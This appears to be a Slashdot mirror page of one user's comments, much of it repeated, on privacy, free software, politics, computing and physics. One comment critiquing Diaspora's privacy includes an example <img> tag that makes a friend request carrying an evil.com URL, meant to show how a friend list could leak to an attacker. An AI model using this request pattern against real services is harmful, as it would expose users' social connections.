Yes, if the security is perfect then there is no problem. In the same vein, putting it on an island near NY is completely safe as long as NY doesn't get hit by Tsunami or terrorist/millitary attacks. Yet they are speculating about placing it in the middle of the country precisely because you can't expect things to go alrgiht forever.
Part of the question then is, what is more likely? Disseases escaping containment procedures or a cataclysmic event devastating NY? Before 9/11 or Sandy (and I'd wager Sandy is the real kicker here) such pondering would seem the stuff of Science Fiction. But considering this AGW problem is here to stay, you can only expect worse storms to come in the future. Relocating the lab to the iddle of the country seems like a better idea right now.
My question here is, don't you guys have lots and lots of dessertic zones? Just put it there. Or is it packed already with too many secret millitary bases?
The operating word here is "essential". Giving up liberties is one thing but giving up essential liberties is the problem. Of course "essential" is a subjective word and what constitutes essential is open to discussion.
I'd say that a government that has to get a warrant to access your data already is a step of from a government that knows everything without regulation. I also think we should abolish gag orders for anything that doesn't endanger life for instance.
The government is people, and people are corrupted by power. Power itself is corrupting. You have to make sure that power is never used for anything but the intented purpose. And you have to make sure that power is balanced by a considerable amount of checks.
Ironically appropriate quote. All this time I tough all those billions made Lucas one of "The Big Ones" but apparently he just wasn't big enough. One day all there will be Disney, TimeWarner, Sony and the disputed territories.
Pragmatism is unpragmatic in the long term. It seems I need to remind you how many times people have dissmissed free software and its ideals or have declared RMS alunatic paranoid just to be proven wrong again and again. I remind you that 20 years ago people were declaring free software imposible, 15 years ago, free software was dying, 10 years ago it was never going mainstream, 5 years ago it was a fad, now it's not going to last. Please, stop.
Question: How optimist are you about the future of humanity?. (or in other words) Are we doomed?
That is my only question. Please I don't need random slashdotterss answering since we all have our own opinion. I just want to know Bruce's opinion becasue, well he's a celebrity who supposedly has got a clue.
But the era of artillery DID pass since the aircraft carrier. Artillery is limited by line of sight so aircraft carriers dominate the seas now. And then again if carriers are ever supperceded by something it would be better submarines. Until we get into space wars when it will be artillery all the way again.
Things change.
I did consider the argument that desktop computers will always be more powerful than portables because, like you say, they'll have better network access and power sources.
BUT
That does not mean you will have to have a computer *at your desk*, it simply means that you need a server. Either a home server or a remote one hosted by some provider likely sponsored with ads.
The argument that you need a conventional display and keyboard *is silly*. We already have mind reading input devices although they are in their infancy. Unless a catastrophe sets back civilization we will have completelly integrated input/output devices in 50-60 years tops. They'll link with your pocket computer which will be smaller than an ipad yet more powerful than your current desktop equipment.
Of course, your server at home will be several orders of magnitude more awesome and *maybe* even nearly sentient, but it's not going to be at your desk but in a closet or basement.
No, actually, the *desktop* PC must pass, if simply because we will have better wearable/integrated computers in the future. The real question is, are those computers going to be user-controlled, general purpose computers? Here is hoping yes, they will, but the way governments are clamping down on individual freedoms in the name of the bottom lines of the entertrainment oligopoly and blasphemy laws, and considering how easily are so many users buying into walled gardens I think this is for once a legitimate question.
The notorious abcense of Mozilla from this "platform" is enough to suspect colusion. Each one of these companies controls their own OS. Mozilla is THE vendor.agnostic, crossplatform browser of choice, and the main diver of standarization in the web. Why in the world aren't they part of this?
After reading the warnings I tried to evaluate for myself American Third Position by visiting the link in the parent's signature: american3rdposition [dot] com
I was lost, the site does look amenable to white supremacist conservatives but there wasn't a clear statement of their position that didn't require investing much more time than I care to waste on this. What I did find is a youtube video http://youtu.be/CZ-4gnNz0vc let's give that a try...
0:31 oh, so they are for big oil...
0:45 environmental protection agencies are evil...
1:04 global warming is a lie, how unexpected...
1:30 free market raised to the level of god...
1:40 rich people are getting prosecuted, think of the rich people!
1:57 regulation is bad, small business with big ideas hur hur...
2:00 Edison, Ford, Jobs getting thrown in for good measure...
2:40 gubermint make everything ilegal! the basterds!
2:46 wow the guy actually says "Believe in free market" not a religion at all...
3:35 WTF is he talking about?
4:05 more anti-environmental crap
4:10 LOL he played the Europe is evil card!
These guys are joke, but the usual republican/conservative/clueless/greedy/catholic/mormon/prosperity gospel sheeple as always. I didn't spot that while supremacist thing they mention. Anthough this xenophobic lot does tend to lean that way.
God damn, I got mentioned in a featured article and didn't notice until 2 days later (ages ago by Internet standards).
Soulskill, your answer is unsatisfactory. If I just wanted to have "something like facebook" the best and less painful way is to get on facebook. The motivation here is to stay away from facebook. I'm explaining you about ways my posts/profile information can leak to facebook. You dismiss my claim as a non-issue:
True, but generally if I've shared something with all of my friends on Facebook [sic] (and even more so if I've shared it with all of my friends-of-friends), I consider that data to have been "compromised" in a certain sense already.
Here I'm assuming you didn't meant Facebook but Diaspora (or equivalent). Basically if I share something to my extended network I should have no qualms with facebook reading it. Fair enough, but then I lose all motivation to avoid signing up on facebook.
On a side note this claim is false:
We know from hacks of people's email accounts that when attackers gain control of someone's account, they generally don't go through looking for private information, they just spam all of that person's friends with some Viagra ads and then move on.
You are forgetting CC numbers, SS numbers, home addresses and passwords. Attackers do look up for these strings. But we are talking about facebook, the guys that build ghosts profiles on non-users and correlate them with news papers articles and other 3rd party sources. There's a snowball-in-hell chance that they won't scan anything available in my nicely formatted Diaspora profile to build up my ghost facebook profile.
Then you address the conservative case:
Some users might have only a limited circle of friends on this distributed-social-networking system, and would share only very private information with them, and in that case their privacy concerns would be more serious. But users who were being that cautious, could set extra privacy on their accounts so that non-friends cannot see who is in their friends list.
No you can't. You cannot enforce shit on behalf of your friends' pod provider. Even if you trust your friends you also have to trust their service provider, one of which will be facebook, or Google or Twitter or some other CIA front. I know, this sounds paranoid, who needs this level of privacy? If you are doing something you don't want Eric Schmidt to know maybe you shouldn't be doing it, etc. Which are valid objections but defeat the purpose of not going with the flow and signing up on facebook.
In fact you give me an extra valid reason to trust facebook more than your proposed decentralized social network:
Now, if our new open protocol allows for messages from non-friends to be delivered to your "Inbox", then spammers would indeed probably bombard users with spam. On the other hand, if the only communication we allow from non-friends is friend requests, then the spam would come in the form of the friend requests themselves (many guys would probably accept a friend request from a hot girl, even if the social networking protocol dutifully warned them that they had no friends in common).
Holy cow! You want to know what friends we have in common? Even with the use of hashing algorithms it seems impossible to not leak your friend list with every friend request you make, making it trivial to rebuild your social graph. Consider this snippet: <img src="mydiasporaprovider.com/add-friend?url=http://evil.com/om-nom-nom"/>. Unless my diaspora provider is very careful, will leak my friend list to whoever controls evil.com.
I'm not completely negative, not completely. But I'm very serious about keeping my personal information outside of the reach of 3rd parties. The best solution I can come up with is one that doesn't give access to my friends' service provider. Take a look at http://owncloud.org/.
Why don't just arrest the guys shining lasers at aircraft/people? Controlling lasers because of potential misuse is like requiring a license to use a knife. We already have rules against hurting people, we don't need specific rules for every item that could be used to hurt someone. Besides, it's pointless, you will still need to keep watch for it because of the lasers that are already out there or build in-house. Ban lasers and now you will need to keep watch for BOTH, offenses, acquiring them AND firing them at aircraft
Sorry but I am NOT rude online. Well at least not more than I am in real life.While i'm sure some people are like this i'm not convinced that this isn't just the way people are.
I mean, outside of places like 4chan where kids are as offensive as possible on principle alone, I don't think that a majority of people on the Internet are considerably more rude online than offline. Well, I probably know a lot of rude people offline and keep to good sites like/. when online.
Offline I know many guys who can't say two sentences without cursing, real life doesn't punish you for being rude as much as you imagine, While it's true that the Internet offers some form of release from consequences, is not like you are going to be arrested for not being nice in public.
Targeted ads are only seen as important because they charge extra for them compared to non-targeted ads. If only one company has targeted ads they win. If no body has targeted ads, non-targeted ads will raise in price and the cost of tracking users goes away. Everybody wins.
You don't need targeted ads to advertise, and, more relevant to the bottom line of advertising companies, you don't need to targeted ads to earn money from advertisement.
And like I said earlier, every argument of this time I've heard involves instantaneous communication between objects in different inertial frames, meaning FTL works fine as long as as everybody is the same inertial frame. I believe it's possible to build a model for Causal FTL as long as one fiddles enough with the rules for communication between objects in different inertial frames.
Not saying that's how FTL would work. I don't know if it can be done and understand that's likely to be impossible. I'm just not sure S. Relativity is as perfect as it could be.
I understand that "elsewhere, at the same time" is double plus ungood in S. Relativity. And I understand that there is no absolute time frame. But there are inertial frames that matter more than others.
If I synchronize two clocks and launch one away at 0.5c the clock will slow down. My clock will also slow down too from the point of view of the other clock and this coincides with the delay it takes for light from that clock to reach me. I am simply not convinced that this is a coincidence. That the light-delay and reality-delay are the same or, in other words, that I'm supposed to accept that things happen exactly when I think they happen from my point of view.
Slashdot Mirror
Ah the N64! The last Nintentdo device I owned.
Yes, if the security is perfect then there is no problem. In the same vein, putting it on an island near NY is completely safe as long as NY doesn't get hit by Tsunami or terrorist/millitary attacks. Yet they are speculating about placing it in the middle of the country precisely because you can't expect things to go alrgiht forever.
Part of the question then is, what is more likely? Disseases escaping containment procedures or a cataclysmic event devastating NY? Before 9/11 or Sandy (and I'd wager Sandy is the real kicker here) such pondering would seem the stuff of Science Fiction. But considering this AGW problem is here to stay, you can only expect worse storms to come in the future. Relocating the lab to the iddle of the country seems like a better idea right now.
My question here is, don't you guys have lots and lots of dessertic zones? Just put it there. Or is it packed already with too many secret millitary bases?
Just imagine if you could accidentally use the same alias as someone on the sex offenders list!
The operating word here is "essential". Giving up liberties is one thing but giving up essential liberties is the problem. Of course "essential" is a subjective word and what constitutes essential is open to discussion.
I'd say that a government that has to get a warrant to access your data already is a step of from a government that knows everything without regulation. I also think we should abolish gag orders for anything that doesn't endanger life for instance.
The government is people, and people are corrupted by power. Power itself is corrupting. You have to make sure that power is never used for anything but the intented purpose. And you have to make sure that power is balanced by a considerable amount of checks.
Thomas jefferson, if he knew what became of the US.
Ironically appropriate quote. All this time I tough all those billions made Lucas one of "The Big Ones" but apparently he just wasn't big enough. One day all there will be Disney, TimeWarner, Sony and the disputed territories.
Pragmatism is unpragmatic in the long term. It seems I need to remind you how many times people have dissmissed free software and its ideals or have declared RMS alunatic paranoid just to be proven wrong again and again. I remind you that 20 years ago people were declaring free software imposible, 15 years ago, free software was dying, 10 years ago it was never going mainstream, 5 years ago it was a fad, now it's not going to last. Please, stop.
Your link tells me I'm not using a modern browser, apparently the latest bluid of Firefox on Linux is not modern enough for them.
Question: How optimist are you about the future of humanity?. (or in other words) Are we doomed?
That is my only question. Please I don't need random slashdotterss answering since we all have our own opinion. I just want to know Bruce's opinion becasue, well he's a celebrity who supposedly has got a clue.
But the era of artillery DID pass since the aircraft carrier. Artillery is limited by line of sight so aircraft carriers dominate the seas now. And then again if carriers are ever supperceded by something it would be better submarines. Until we get into space wars when it will be artillery all the way again.
Things change.
I did consider the argument that desktop computers will always be more powerful than portables because, like you say, they'll have better network access and power sources.
BUT
That does not mean you will have to have a computer *at your desk*, it simply means that you need a server. Either a home server or a remote one hosted by some provider likely sponsored with ads.
The argument that you need a conventional display and keyboard *is silly*. We already have mind reading input devices although they are in their infancy. Unless a catastrophe sets back civilization we will have completelly integrated input/output devices in 50-60 years tops. They'll link with your pocket computer which will be smaller than an ipad yet more powerful than your current desktop equipment.
Of course, your server at home will be several orders of magnitude more awesome and *maybe* even nearly sentient, but it's not going to be at your desk but in a closet or basement.
No, actually, the *desktop* PC must pass, if simply because we will have better wearable/integrated computers in the future. The real question is, are those computers going to be user-controlled, general purpose computers? Here is hoping yes, they will, but the way governments are clamping down on individual freedoms in the name of the bottom lines of the entertrainment oligopoly and blasphemy laws, and considering how easily are so many users buying into walled gardens I think this is for once a legitimate question.
The notorious abcense of Mozilla from this "platform" is enough to suspect colusion. Each one of these companies controls their own OS. Mozilla is THE vendor.agnostic, crossplatform browser of choice, and the main diver of standarization in the web. Why in the world aren't they part of this?
nice job formatting that slashdot...
After reading the warnings I tried to evaluate for myself American Third Position by visiting the link in the parent's signature: american3rdposition [dot] com
I was lost, the site does look amenable to white supremacist conservatives but there wasn't a clear statement of their position that didn't require investing much more time than I care to waste on this. What I did find is a youtube video http://youtu.be/CZ-4gnNz0vc let's give that a try...
These guys are joke, but the usual republican/conservative/clueless/greedy/catholic/mormon/prosperity gospel sheeple as always. I didn't spot that while supremacist thing they mention. Anthough this xenophobic lot does tend to lean that way.
God damn, I got mentioned in a featured article and didn't notice until 2 days later (ages ago by Internet standards).
Soulskill, your answer is unsatisfactory. If I just wanted to have "something like facebook" the best and less painful way is to get on facebook. The motivation here is to stay away from facebook. I'm explaining you about ways my posts/profile information can leak to facebook. You dismiss my claim as a non-issue:
Here I'm assuming you didn't meant Facebook but Diaspora (or equivalent). Basically if I share something to my extended network I should have no qualms with facebook reading it. Fair enough, but then I lose all motivation to avoid signing up on facebook.
On a side note this claim is false:
You are forgetting CC numbers, SS numbers, home addresses and passwords. Attackers do look up for these strings. But we are talking about facebook, the guys that build ghosts profiles on non-users and correlate them with news papers articles and other 3rd party sources. There's a snowball-in-hell chance that they won't scan anything available in my nicely formatted Diaspora profile to build up my ghost facebook profile.
Then you address the conservative case:
No you can't. You cannot enforce shit on behalf of your friends' pod provider. Even if you trust your friends you also have to trust their service provider, one of which will be facebook, or Google or Twitter or some other CIA front. I know, this sounds paranoid, who needs this level of privacy? If you are doing something you don't want Eric Schmidt to know maybe you shouldn't be doing it, etc. Which are valid objections but defeat the purpose of not going with the flow and signing up on facebook.
In fact you give me an extra valid reason to trust facebook more than your proposed decentralized social network:
Holy cow! You want to know what friends we have in common? Even with the use of hashing algorithms it seems impossible to not leak your friend list with every friend request you make, making it trivial to rebuild your social graph. Consider this snippet: <img src="mydiasporaprovider.com/add-friend?url=http://evil.com/om-nom-nom" />. Unless my diaspora provider is very careful, will leak my friend list to whoever controls evil.com.
I'm not completely negative, not completely. But I'm very serious about keeping my personal information outside of the reach of 3rd parties. The best solution I can come up with is one that doesn't give access to my friends' service provider. Take a look at http://owncloud.org/.
We need a home server revolution. We need it NOW.
Why don't just arrest the guys shining lasers at aircraft/people? Controlling lasers because of potential misuse is like requiring a license to use a knife. We already have rules against hurting people, we don't need specific rules for every item that could be used to hurt someone. Besides, it's pointless, you will still need to keep watch for it because of the lasers that are already out there or build in-house. Ban lasers and now you will need to keep watch for BOTH, offenses, acquiring them AND firing them at aircraft
Sorry but I am NOT rude online. Well at least not more than I am in real life.While i'm sure some people are like this i'm not convinced that this isn't just the way people are.
I mean, outside of places like 4chan where kids are as offensive as possible on principle alone, I don't think that a majority of people on the Internet are considerably more rude online than offline. Well, I probably know a lot of rude people offline and keep to good sites like /. when online.
Offline I know many guys who can't say two sentences without cursing, real life doesn't punish you for being rude as much as you imagine, While it's true that the Internet offers some form of release from consequences, is not like you are going to be arrested for not being nice in public.
I didn't make it to the floppy linux scene:
* knoppix
* slackware
* ubuntu>
Then short trials of:
* puppy linux
* openSuse
* dream linux
* debian
* mandriva
* MEPIS
And finally settled down on Linux Mint for the past 3 years. This while running moblin now meego on a netbook.
Thanks gods. I actually worry about countries I'll flee to when America becomes too fucking dangerous and this makes me relived.
Now could you please repeal that 3-strikes law? It makes you a bunch corporate lapdog douche bags.
Thanks. Love your fries.
I direct you to my comment to nege
http://yro.slashdot.org/comments.pl?sid=3139989&cid=41440579
The Westboro Baptist Church don't read "I Hate Fags" but "God Hates Fags". Which he does, according to leviticus el throughout the bible.
http://skepticsannotatedbible.com/gay/long.htm
You seem like a good person, your god is not.
Targeted ads are only seen as important because they charge extra for them compared to non-targeted ads. If only one company has targeted ads they win. If no body has targeted ads, non-targeted ads will raise in price and the cost of tracking users goes away. Everybody wins.
You don't need targeted ads to advertise, and, more relevant to the bottom line of advertising companies, you don't need to targeted ads to earn money from advertisement.
And like I said earlier, every argument of this time I've heard involves instantaneous communication between objects in different inertial frames, meaning FTL works fine as long as as everybody is the same inertial frame. I believe it's possible to build a model for Causal FTL as long as one fiddles enough with the rules for communication between objects in different inertial frames.
Not saying that's how FTL would work. I don't know if it can be done and understand that's likely to be impossible. I'm just not sure S. Relativity is as perfect as it could be.
I understand that "elsewhere, at the same time" is double plus ungood in S. Relativity. And I understand that there is no absolute time frame. But there are inertial frames that matter more than others.
If I synchronize two clocks and launch one away at 0.5c the clock will slow down. My clock will also slow down too from the point of view of the other clock and this coincides with the delay it takes for light from that clock to reach me. I am simply not convinced that this is a coincidence. That the light-delay and reality-delay are the same or, in other words, that I'm supposed to accept that things happen exactly when I think they happen from my point of view.